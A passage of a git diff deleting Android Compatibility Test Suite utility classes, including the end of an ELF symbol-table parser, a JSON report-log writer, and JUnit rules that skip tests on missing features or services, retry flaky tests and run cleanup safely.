-                (e_machine == EM_AARCH64 && elfClass != ELFCLASS64) ||
-                (e_machine == EM_ARM && elfClass != ELFCLASS32) ||
-                (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
-            throw new IOException("Invalid e_machine/EI_CLASS ELF combination: " +
-                    e_machine + "/" + elfClass + ": " + mPath);
-        }
-
-        long e_version = readWord();
-        if (e_version != EV_CURRENT) {
-            throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
-        }
-
-        long e_entry = readAddr();
-
-        long ph_off = readOff();
-        long sh_off = readOff();
-
-        long e_flags = readWord();
-        int e_ehsize = readHalf();
-        int e_phentsize = readHalf();
-        int e_phnum = readHalf();
-        int e_shentsize = readHalf();
-        int e_shnum = readHalf();
-        int e_shstrndx = readHalf();
-
-        readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
-        readProgramHeaders(ph_off, e_phnum, e_phentsize);
-    }
-
-    private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
-            throws IOException {
-        // Read the Section Header String Table offset first.
-        {
-            mFile.seek(sh_off + e_shstrndx * e_shentsize);
-
-            long sh_name = readWord();
-            long sh_type = readWord();
-            long sh_flags = readX(mAddrSize);
-            long sh_addr = readAddr();
-            long sh_offset = readOff();
-            long sh_size = readX(mAddrSize);
-            // ...
-
-            if (sh_type == SHT_STRTAB) {
-                mShStrTabOffset = sh_offset;
-                mShStrTabSize = sh_size;
-            }
-        }
-
-        for (int i = 0; i < e_shnum; ++i) {
-            // Don't bother to re-read the Section Header StrTab.
-            if (i == e_shstrndx) {
-                continue;
-            }
-
-            mFile.seek(sh_off + i * e_shentsize);
-
-            long sh_name = readWord();
-            long sh_type = readWord();
-            long sh_flags = readX(mAddrSize);
-            long sh_addr = readAddr();
-            long sh_offset = readOff();
-            long sh_size = readX(mAddrSize);
-
-            if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
-                final String symTabName = readShStrTabEntry(sh_name);
-                if (".symtab".equals(symTabName)) {
-                    mSymTabOffset = sh_offset;
-                    mSymTabSize = sh_size;
-                } else if (".dynsym".equals(symTabName)) {
-                    mDynSymOffset = sh_offset;
-                    mDynSymSize = sh_size;
-                }
-            } else if (sh_type == SHT_STRTAB) {
-                final String strTabName = readShStrTabEntry(sh_name);
-                if (".strtab".equals(strTabName)) {
-                    mStrTabOffset = sh_offset;
-                    mStrTabSize = sh_size;
-                } else if (".dynstr".equals(strTabName)) {
-                    mDynStrOffset = sh_offset;
-                    mDynStrSize = sh_size;
-                }
-            } else if (sh_type == SHT_DYNAMIC) {
-                mIsDynamic = true;
-            }
-        }
-    }
-
-    private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
-        for (int i = 0; i < e_phnum; ++i) {
-            mFile.seek(ph_off + i * e_phentsize);
-
-            long p_type = readWord();
-            if (p_type == PT_LOAD) {
-                if (mAddrSize == 8) {
-                    // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
-                    long p_flags = readWord();
-                }
-                long p_offset = readOff();
-                long p_vaddr = readAddr();
-                // ...
-
-                if (p_vaddr == 0) {
-                    mIsPIE = true;
-                }
-            }
-        }
-    }
-
-    private HashMap<String, Symbol> readSymbolTable(long symStrOffset, long symStrSize,
-            long tableOffset, long tableSize) throws IOException {
-        HashMap<String, Symbol> result = new HashMap<String, Symbol>();
-        mFile.seek(tableOffset);
-        while (mFile.getFilePointer() < tableOffset + tableSize) {
-            long st_name = readWord();
-            int st_info;
-            if (mAddrSize == 8) {
-                st_info = readByte();
-                int st_other = readByte();
-                int st_shndx = readHalf();
-                long st_value = readAddr();
-                long st_size = readX(mAddrSize);
-            } else {
-                long st_value = readAddr();
-                long st_size = readWord();
-                st_info = readByte();
-                int st_other = readByte();
-                int st_shndx = readHalf();
-            }
-            if (st_name == 0) {
-                continue;
-            }
-
-            final String symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
-            if (symName != null) {
-                Symbol s = new Symbol(symName, st_info);
-                result.put(symName, s);
-            }
-        }
-        return result;
-    }
-
-    private String readShStrTabEntry(long strOffset) throws IOException {
-        if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
-            return null;
-        }
-        return readString(mShStrTabOffset + strOffset);
-    }
-
-    private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
-            throws IOException {
-        if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
-            return null;
-        }
-        return readString(tableOffset + strOffset);
-    }
-
-    private int readHalf() throws IOException {
-        return (int) readX(2);
-    }
-
-    private long readWord() throws IOException {
-        return readX(4);
-    }
-
-    private long readOff() throws IOException {
-        return readX(mAddrSize);
-    }
-
-    private long readAddr() throws IOException {
-        return readX(mAddrSize);
-    }
-
-    private long readX(int byteCount) throws IOException {
-        mFile.readFully(mBuffer, 0, byteCount);
-
-        int answer = 0;
-        if (mEndian == ELFDATA2LSB) {
-            for (int i = byteCount - 1; i >= 0; i--) {
-                answer = (answer << 8) | (mBuffer[i] & 0xff);
-            }
-        } else {
-            final int N = byteCount - 1;
-            for (int i = 0; i <= N; ++i) {
-                answer = (answer << 8) | (mBuffer[i] & 0xff);
-            }
-        }
-
-        return answer;
-    }
-
-    private String readString(long offset) throws IOException {
-        long originalOffset = mFile.getFilePointer();
-        mFile.seek(offset);
-        mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
-        mFile.seek(originalOffset);
-
-        for (int i = 0; i < mBuffer.length; ++i) {
-            if (mBuffer[i] == 0) {
-                return new String(mBuffer, 0, i);
-            }
-        }
-
-        return null;
-    }
-
-    private int readByte() throws IOException {
-        return mFile.read() & 0xff;
-    }
-
-    public Symbol getSymbol(String name) {
-        if (mSymbols == null) {
-            try {
-                mSymbols = readSymbolTable(mStrTabOffset, mStrTabSize, mSymTabOffset, mSymTabSize);
-            } catch (IOException e) {
-                return null;
-            }
-        }
-        return mSymbols.get(name);
-    }
-
-    public Symbol getDynamicSymbol(String name) {
-        if (mDynamicSymbols == null) {
-            try {
-                mDynamicSymbols = readSymbolTable(
-                        mDynStrOffset, mDynStrSize, mDynSymOffset, mDynSymSize);
-            } catch (IOException e) {
-                return null;
-            }
-        }
-        return mDynamicSymbols.get(name);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
deleted file mode 100644
index 538881d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.util.JsonWriter;
-
-import java.io.BufferedReader;
-import java.io.BufferedWriter;
-import java.io.File;
-import java.io.FileReader;
-import java.io.FileWriter;
-import java.io.IOException;
-
-public class ReportLogDeviceInfoStore extends DeviceInfoStore {
-
-    private final String mStreamName;
-    private File tempJsonFile;
-
-    public ReportLogDeviceInfoStore(File jsonFile, String streamName) throws Exception {
-        mJsonFile = jsonFile;
-        mStreamName = streamName;
-    }
-
-    /**
-     * Creates the writer and starts the JSON Object for the metric stream.
-     */
-    @Override
-    public void open() throws IOException {
-        // Write new metrics to a temp file to avoid invalid JSON files due to failed tests.
-        BufferedWriter formatWriter;
-        tempJsonFile = File.createTempFile(mStreamName, "-temp-report-log");
-        formatWriter = new BufferedWriter(new FileWriter(tempJsonFile));
-        if (mJsonFile.exists()) {
-            BufferedReader jsonReader = new BufferedReader(new FileReader(mJsonFile));
-            String currentLine;
-            String nextLine = jsonReader.readLine();
-            while ((currentLine = nextLine) != null) {
-                nextLine = jsonReader.readLine();
-                if (nextLine == null && currentLine.charAt(currentLine.length() - 1) == '}') {
-                    // Reopen overall JSON object to write new metrics.
-                    currentLine = currentLine.substring(0, currentLine.length() - 1) + ",";
-                }
-                // Copy to temp file directly to avoid large metrics string in memory.
-                formatWriter.write(currentLine, 0, currentLine.length());
-            }
-            jsonReader.close();
-        } else {
-            formatWriter.write("{", 0 , 1);
-        }
-        // Start new JSON object for new metrics.
-        formatWriter.write("\"" + mStreamName + "\":", 0, mStreamName.length() + 3);
-        formatWriter.flush();
-        formatWriter.close();
-        mJsonWriter = new JsonWriter(new FileWriter(tempJsonFile, true));
-        mJsonWriter.beginObject();
-    }
-
-    /**
-     * Closes the writer.
-     */
-    @Override
-    public void close() throws IOException {
-        // Close JSON Writer.
-        mJsonWriter.endObject();
-        mJsonWriter.close();
-        // Close overall JSON Object.
-        try (BufferedWriter formatWriter = new BufferedWriter(new FileWriter(tempJsonFile, true))) {
-            formatWriter.write("}", 0, 1);
-        }
-        // Copy metrics from temp file and delete temp file.
-        mJsonFile.createNewFile();
-        try (
-                BufferedReader jsonReader = new BufferedReader(new FileReader(tempJsonFile));
-                BufferedWriter metricsWriter = new BufferedWriter(new FileWriter(mJsonFile))
-        ) {
-            String line;
-            while ((line = jsonReader.readLine()) != null) {
-                // Copy from temp file directly to avoid large metrics string in memory.
-                metricsWriter.write(line, 0, line.length());
-            }
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredFeatureRule.java
deleted file mode 100644
index 0968ddc..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RequiredFeatureRule.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that does not run a test case if the device does not have a given feature.
- */
-public class RequiredFeatureRule implements TestRule {
-    private static final String TAG = "RequiredFeatureRule";
-
-    private final String mFeature;
-    private final boolean mHasFeature;
-
-    public RequiredFeatureRule(String feature) {
-        mFeature = feature;
-        mHasFeature = hasFeature(feature);
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (!mHasFeature) {
-                    Log.d(TAG, "skipping "
-                            + description.getClassName() + "#" + description.getMethodName()
-                            + " because device does not have feature '" + mFeature + "'");
-                    return;
-                }
-                base.evaluate();
-            }
-        };
-    }
-
-    public static boolean hasFeature(String feature) {
-        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredServiceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredServiceRule.java
deleted file mode 100644
index a4359fd..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RequiredServiceRule.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that does not run a test case if the device does not have a given service.
- */
-public class RequiredServiceRule implements TestRule {
-    private static final String TAG = "RequiredServiceRule";
-
-    private final String mService;
-    private final boolean mHasService;
-
-    /**
-     * Creates a rule for the given service.
-     */
-    public RequiredServiceRule(@NonNull String service) {
-        mService = service;
-        mHasService = hasService(service);
-    }
-
-    @Override
-    public Statement apply(@NonNull Statement base, @NonNull Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (!mHasService) {
-                    Log.d(TAG, "skipping "
-                            + description.getClassName() + "#" + description.getMethodName()
-                            + " because device does not have service '" + mService + "'");
-                    return;
-                }
-                base.evaluate();
-            }
-        };
-    }
-
-    /**
-     * Checks if the device has the given service.
-     */
-    public static boolean hasService(@NonNull String service) {
-        // TODO: ideally should call SystemServiceManager directly, but we would need to open
-        // some @Testing APIs for that.
-        String command = "service check " + service;
-        try {
-            String commandOutput = SystemUtil.runShellCommand(
-                    InstrumentationRegistry.getInstrumentation(), command);
-            return !commandOutput.contains("not found");
-        } catch (Exception e) {
-            Log.w(TAG, "Exception running '" + command + "': " + e);
-            return false;
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
deleted file mode 100644
index ead59943..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.res.Resources;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that does not run a test case if the device does not define the given system
- * resource.
- */
-public class RequiredSystemResourceRule implements TestRule {
-
-    private static final String TAG = "RequiredSystemResourceRule";
-
-    @NonNull private final String mName;
-    private final boolean mHasResource;
-
-    /**
-     * Creates a rule for the given system resource.
-     *
-     * @param resourceId resource per se
-     * @param name resource name used for debugging purposes
-     */
-    public RequiredSystemResourceRule(@NonNull String name) {
-        mName = name;
-        mHasResource = !TextUtils.isEmpty(getSystemResource(name));
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (!mHasResource) {
-                    Log.d(TAG, "skipping "
-                            + description.getClassName() + "#" + description.getMethodName()
-                            + " because device does not have system resource '" + mName + "'");
-                    return;
-                }
-                base.evaluate();
-            }
-        };
-    }
-
-    /**
-     * Gets the given system resource.
-     */
-    @Nullable
-    public static String getSystemResource(@NonNull String name) {
-        try {
-            final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
-            return Resources.getSystem().getString(resourceId);
-        } catch (Exception e) {
-            Log.e(TAG, "could not get value of resource '" + name + "': ", e);
-        }
-        return null;
-    }
-
-    @Override
-    public String toString() {
-        return "RequiredSystemResourceRule[" + mName + "]";
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Result.java b/common/device-side/util/src/com/android/compatibility/common/util/Result.java
deleted file mode 100644
index 0d8a29a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Result.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-package com.android.compatibility.common.util;
-
-/**
- * Represents the result of a test.
- */
-public interface Result {
-    public static final int RESULT_OK = 1;
-    public static final int RESULT_FAIL = 2;
-    /**
-     * Sets the test result of this object.
-     *
-     * @param resultCode The test result, either {@code RESULT_OK} or {@code RESULT_FAIL}.
-     */
-    void setResult(int resultCode);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RetryRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RetryRule.java
deleted file mode 100644
index 32dedea..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RetryRule.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that retry tests when they fail due to a {@link RetryableException}.
- */
-public class RetryRule implements TestRule {
-
-    private static final String TAG = "RetryRule";
-    private final int mMaxAttempts;
-
-    /**
-     * Retries the underlying test when it catches a {@link RetryableException}.
-     *
-     * @param retries number of retries. Use {@code 0} to disable rule.
-     *
-     * @throws IllegalArgumentException if {@code retries} is less than {@code 0}.
-     */
-    public RetryRule(int retries) {
-        if (retries < 0) {
-            throw new IllegalArgumentException("retries must be more than 0");
-        }
-        mMaxAttempts = retries + 1;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (mMaxAttempts <= 1) {
-                    Log.v(TAG, "Executing " + description.getDisplayName()
-                            + " right away because mMaxAttempts is " + mMaxAttempts);
-                    base.evaluate();
-                    return;
-                }
-
-                final String name = description.getDisplayName();
-                Throwable caught = null;
-                for (int i = 1; i <= mMaxAttempts; i++) {
-                    try {
-                        base.evaluate();
-                        if (i == 1) {
-                            Log.v(TAG, "Good News, Everyone! " + name + " passed right away");
-                        } else {
-                            Log.d(TAG,
-                                    "Better late than never: " + name + " passed at attempt #" + i);
-                        }
-                        return;
-                    } catch (RetryableException e) {
-                        final Timeout timeout = e.getTimeout();
-                        if (timeout != null) {
-                            long before = timeout.ms();
-                            timeout.increase();
-                            Log.d(TAG, "Increased " + timeout.getName() + " from " + before + "ms"
-                                    + " to " + timeout.ms() + "ms");
-                        }
-                        caught = e;
-                    }
-                    Log.w(TAG, "Arrrr! " + name + " failed at attempt " + i + "/" + mMaxAttempts
-                            + ": " + caught);
-                }
-                Log.e(TAG, "D'OH! " + name + ": giving up after " + mMaxAttempts + " attempts");
-                throw caught;
-            }
-        };
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RetryableException.java b/common/device-side/util/src/com/android/compatibility/common/util/RetryableException.java
deleted file mode 100644
index 1c6c782..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/RetryableException.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.Nullable;
-
-/**
- * Exception that cause the {@link RetryRule} to re-try a test.
- */
-public class RetryableException extends RuntimeException {
-
-    @Nullable
-    private final Timeout mTimeout;
-
-    public RetryableException(String msg) {
-        this((Timeout) null, msg);
-    }
-
-    public RetryableException(String format, Object...args) {
-        this((Timeout) null, String.format(format, args));
-    }
-
-    public RetryableException(Throwable cause, String format, Object...args) {
-        this((Timeout) null, cause, String.format(format, args), cause);
-    }
-
-    public RetryableException(@Nullable Timeout timeout, String msg) {
-        super(msg);
-        this.mTimeout = timeout;
-    }
-
-    public RetryableException(@Nullable Timeout timeout, String format, Object...args) {
-        super(String.format(format, args));
-        this.mTimeout = timeout;
-    }
-
-    public RetryableException(@Nullable Timeout timeout, Throwable cause, String format,
-            Object...args) {
-        super(String.format(format, args), cause);
-        this.mTimeout = timeout;
-    }
-
-    @Nullable
-    public Timeout getTimeout() {
-        return mTimeout;
-    }
-
-    @Override
-    public String getMessage() {
-        final String superMessage = super.getMessage();
-        return mTimeout == null ? superMessage : superMessage + " (timeout=" + mTimeout + ")";
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
deleted file mode 100644
index 806884c..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
+++ /dev/null
@@ -1,185 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.Callable;
-
-/**
- * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
- * the cleanup code don't hide exception thrown by the test body
- */
-public final class SafeCleanerRule implements TestRule {
-
-    private static final String TAG = "SafeCleanerRule";
-
-    private final List<ThrowingRunnable> mCleaners = new ArrayList<>();
-    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
-    private final List<Throwable> mThrowables = new ArrayList<>();
-    private Dumper mDumper;
-
-    /**
-     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
-     */
-    public SafeCleanerRule run(@NonNull ThrowingRunnable cleaner) {
-        mCleaners.add(cleaner);
-        return this;
-    }
-
-    /**
-     * Adds exceptions directly.
-     *
-     * <p>Typically used for exceptions caught asychronously during the test execution.
-     */
-    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
-        mExtraThrowables.add(exceptions);
-        return this;
-    }
-
-    /**
-     * Adds exceptions directly.
-     *
-     * <p>Typically used for exceptions caught during {@code finally} blocks.
-     */
-    public SafeCleanerRule add(Throwable exception) {
-        Log.w(TAG, "Adding exception directly: " + exception);
-        mThrowables.add(exception);
-        return this;
-    }
-
-    /**
-     * Sets a {@link Dumper} used to log errors.
-     */
-    public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
-        mDumper = dumper;
-        return this;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-            @Override
-            public void evaluate() throws Throwable {
-                // First run the test
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    Log.w(TAG, "Adding exception from main test at index 0: " + t);
-                    mThrowables.add(0, t);
-                }
-
-                // Then the cleanup runners
-                for (ThrowingRunnable runner : mCleaners) {
-                    try {
-                        runner.run();
-                    } catch (Throwable t) {
-                        Log.w(TAG, "Adding exception from cleaner");
-                        mThrowables.add(t);
-                    }
-                }
-
-                // And finally add the extra exceptions
-                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
-                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
-                    if (extraThrowables != null && !extraThrowables.isEmpty()) {
-                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
-                        mThrowables.addAll(extraThrowables);
-                    }
-                }
-
-                // Ignore all instances of AssumptionViolatedExceptions
-                mThrowables.removeIf(t -> t instanceof AssumptionViolatedException);
-
-                // Finally, throw up!
-                if (mThrowables.isEmpty()) return;
-
-                final int numberExceptions = mThrowables.size();
-                if (numberExceptions == 1) {
-                    fail(description, mThrowables.get(0));
-                }
-                fail(description, new MultipleExceptions(mThrowables));
-            }
-
-        };
-    }
-
-    private void fail(Description description, Throwable t) throws Throwable {
-        if (mDumper != null) {
-            mDumper.dump(description.getDisplayName(), t);
-        }
-        throw t;
-    }
-
-    private static String toMesssage(List<Throwable> throwables) {
-        String msg = "D'OH!";
-        try {
-            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                sw.write("Caught " + throwables.size() + " exceptions\n");
-                for (int i = 0; i < throwables.size(); i++) {
-                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
-                    final Throwable exception = throwables.get(i);
-                    exception.printStackTrace(pw);
-                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
-                }
-                msg = sw.toString();
-            }
-        } catch (IOException e) {
-            // ignore close() errors - should not happen...
-            Log.e(TAG, "Exception closing StringWriter: " + e);
-        }
-        return msg;
-    }
-
-    // VisibleForTesting
-    static class MultipleExceptions extends AssertionError {
-        private final List<Throwable> mThrowables;
-
-        private MultipleExceptions(List<Throwable> throwables) {
-            super(toMesssage(throwables));
-
-            this.mThrowables = throwables;
-        }
-
-        List<Throwable> getThrowables() {
-            return mThrowables;
-        }
-    }
-
-    /**
-     * Optional interface used to dump an error.
-     */
-    public interface Dumper {
-
-        /**
-         * Dumps an error.
-         */
-        void dump(@NonNull String testName, @NonNull Throwable t);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateChangerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateChangerRule.java
deleted file mode 100644
index 3e0662a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateChangerRule.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.Settings;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * JUnit rule used to set a {@link Settings} preference before the test is run.
- *
- * <p>It stores the current value before the test, changes it (if necessary), then restores it after
- * the test (if necessary).
- */
-public class SettingsStateChangerRule extends StateChangerRule<String> {
-
-    /**
-     * Default constructor for the 'secure' context.
-     *
-     * @param context context used to retrieve the {@link Settings} provider.
-     * @param key prefence key.
-     * @param value value to be set before the test is run.
-     */
-    public SettingsStateChangerRule(@NonNull Context context, @NonNull String key,
-            @Nullable String value) {
-        this(context, SettingsUtils.NAMESPACE_SECURE, key, value);
-    }
-
-    /**
-     * Default constructor.
-     *
-     * @param context context used to retrieve the {@link Settings} provider.
-     * @param namespace settings namespace.
-     * @param key prefence key.
-     * @param value value to be set before the test is run.
-     */
-    public SettingsStateChangerRule(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key, @Nullable String value) {
-        super(new SettingsStateManager(context, namespace, key), value);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateKeeperRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateKeeperRule.java
deleted file mode 100644
index 18ca88a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateKeeperRule.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.Settings;
-
-import androidx.annotation.NonNull;
-
-/**
- * JUnit rule used to restore a {@link Settings} preference after the test is run.
- *
- * <p>It stores the current value before the test, and restores it after the test (if necessary).
- */
